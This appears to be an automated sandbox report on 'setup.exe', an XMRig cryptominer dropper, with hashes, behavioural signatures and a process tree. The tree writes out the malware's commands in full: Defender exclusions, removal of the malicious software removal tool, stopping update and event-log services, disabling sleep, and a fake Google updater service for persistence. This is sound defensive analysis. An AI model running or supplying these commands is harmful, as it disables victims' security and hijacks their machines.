Analysis

  • max time kernel
    150s
  • max time network
    142s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02-08-2024 15:42

General

  • Target

    setup.exe

  • Size

    9.2MB

  • MD5

    4ab8ccecd4a134b37a1141b515371b66

  • SHA1

    d0ebd671b85d91b7e4405e78dc8de723c23ee99d

  • SHA256

    7059ff79287dcb1ead0d9b0a166bc551d729b1c7c412cecab3574ac1379685f8

  • SHA512

    249ed30e142530b006958605f9f31f6d9fcf39b412e4ef1b2040887ed7020363749ce89150c4c35a3b4a92a7e6955775dc9f7c0246034fe18909c39bdb121ecd

  • SSDEEP

    196608:cezNzOtuVXR6GWycUnkD8/04pUh76TBFx:ce5XBWycUnkD8/jps7cB

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 9 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Drops file in Drivers directory 2 IoCs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 14 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • VMProtect packed file 4 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 50 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\setup.exe
    "C:\Users\Admin\AppData\Local\Temp\setup.exe"
    1⤵
    • Drops file in Drivers directory
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:1604
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3468
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3588
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
          PID:4356
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop UsoSvc
        2⤵
        • Launches sc.exe
        PID:3336
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        2⤵
        • Launches sc.exe
        PID:4796
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop wuauserv
        2⤵
        • Launches sc.exe
        PID:2792
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop bits
        2⤵
        • Launches sc.exe
        PID:3896
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop dosvc
        2⤵
        • Launches sc.exe
        PID:1032
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:2304
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:3568
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:4000
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:4420
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineK"
        2⤵
        • Launches sc.exe
        PID:932
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineK" binpath= "C:\ProgramData\GoogleUP\Chrome\Updater.exe" start= "auto"
        2⤵
        • Launches sc.exe
        PID:3372
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop eventlog
        2⤵
        • Launches sc.exe
        PID:1752
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineK"
        2⤵
        • Launches sc.exe
        PID:3456
    • C:\ProgramData\GoogleUP\Chrome\Updater.exe
      C:\ProgramData\GoogleUP\Chrome\Updater.exe
      1⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4824
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:412
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1940
        • C:\Windows\system32\wusa.exe
          wusa /uninstall /kb:890830 /quiet /norestart
          3⤵
            PID:4828
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop UsoSvc
          2⤵
          • Launches sc.exe
          PID:4508
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop WaaSMedicSvc
          2⤵
          • Launches sc.exe
          PID:1920
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop wuauserv
          2⤵
          • Launches sc.exe
          PID:4656
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop bits
          2⤵
          • Launches sc.exe
          PID:4056
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop dosvc
          2⤵
          • Launches sc.exe
          PID:3404
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:4440
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:4956
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:3396
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:4324
        • C:\Windows\system32\conhost.exe
          C:\Windows\system32\conhost.exe
          2⤵
            PID:3644
          • C:\Windows\explorer.exe
            explorer.exe
            2⤵
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3352

        Network

        MITRE ATT&CK Enterprise v15

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        Downloads

        • C:\ProgramData\GoogleUP\Chrome\Updater.exe

          Filesize

          9.2MB

          MD5

          4ab8ccecd4a134b37a1141b515371b66

          SHA1

          d0ebd671b85d91b7e4405e78dc8de723c23ee99d

          SHA256

          7059ff79287dcb1ead0d9b0a166bc551d729b1c7c412cecab3574ac1379685f8

          SHA512

          249ed30e142530b006958605f9f31f6d9fcf39b412e4ef1b2040887ed7020363749ce89150c4c35a3b4a92a7e6955775dc9f7c0246034fe18909c39bdb121ecd

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mhsed00i.bhc.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Windows\system32\drivers\etc\hosts

          Filesize

          3KB

          MD5

          00930b40cba79465b7a38ed0449d1449

          SHA1

          4b25a89ee28b20ba162f23772ddaf017669092a5

          SHA256

          eda1aae2c8fce700e3bdbe0186cf3db88400cf0ac13ec736e84dacba61628a01

          SHA512

          cbe4760ec041e7da7ab86474d5c82969cfccb8ccc5dbdac9436862d5b1b86210ab90754d3c8da5724176570d8842e57a716a281acba8719e90098a6f61a17c62

        • memory/412-55-0x0000025FB4550000-0x0000025FB455A000-memory.dmp

          Filesize

          40KB

        • memory/412-47-0x0000025FB42E0000-0x0000025FB42FC000-memory.dmp

          Filesize

          112KB

        • memory/412-48-0x0000025FB4300000-0x0000025FB43B5000-memory.dmp

          Filesize

          724KB

        • memory/412-54-0x0000025FB4540000-0x0000025FB4546000-memory.dmp

          Filesize

          24KB

        • memory/412-53-0x0000025FB4510000-0x0000025FB4518000-memory.dmp

          Filesize

          32KB

        • memory/412-52-0x0000025FB4560000-0x0000025FB457A000-memory.dmp

          Filesize

          104KB

        • memory/412-51-0x0000025FB4500000-0x0000025FB450A000-memory.dmp

          Filesize

          40KB

        • memory/412-50-0x0000025FB4520000-0x0000025FB453C000-memory.dmp

          Filesize

          112KB

        • memory/412-49-0x0000025FB1F50000-0x0000025FB1F5A000-memory.dmp

          Filesize

          40KB

        • memory/1604-23-0x00007FF784499000-0x00007FF7847EF000-memory.dmp

          Filesize

          3.3MB

        • memory/1604-22-0x00007FF783F80000-0x00007FF78512E000-memory.dmp

          Filesize

          17.7MB

        • memory/1604-0-0x00007FFD56A50000-0x00007FFD56A52000-memory.dmp

          Filesize

          8KB

        • memory/1604-2-0x00007FF784499000-0x00007FF7847EF000-memory.dmp

          Filesize

          3.3MB

        • memory/1604-4-0x00007FF783F80000-0x00007FF78512E000-memory.dmp

          Filesize

          17.7MB

        • memory/3352-76-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/3352-79-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/3352-82-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/3352-81-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/3352-69-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/3352-70-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/3352-72-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/3352-71-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/3352-77-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/3352-78-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/3352-80-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/3352-73-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/3352-68-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/3352-75-0x0000000001390000-0x00000000013B0000-memory.dmp

          Filesize

          128KB

        • memory/3352-74-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/3468-15-0x000001BCB9260000-0x000001BCB9282000-memory.dmp

          Filesize

          136KB

        • memory/3468-5-0x00007FFD38023000-0x00007FFD38025000-memory.dmp

          Filesize

          8KB

        • memory/3468-16-0x00007FFD38020000-0x00007FFD38AE1000-memory.dmp

          Filesize

          10.8MB

        • memory/3468-17-0x00007FFD38020000-0x00007FFD38AE1000-memory.dmp

          Filesize

          10.8MB

        • memory/3468-19-0x00007FFD38020000-0x00007FFD38AE1000-memory.dmp

          Filesize

          10.8MB

        • memory/3644-60-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/3644-61-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/3644-63-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/3644-62-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/3644-64-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/3644-67-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/4824-27-0x00007FF682800000-0x00007FF6839AE000-memory.dmp

          Filesize

          17.7MB

        • memory/4824-26-0x00007FFD56A50000-0x00007FFD56A52000-memory.dmp

          Filesize

          8KB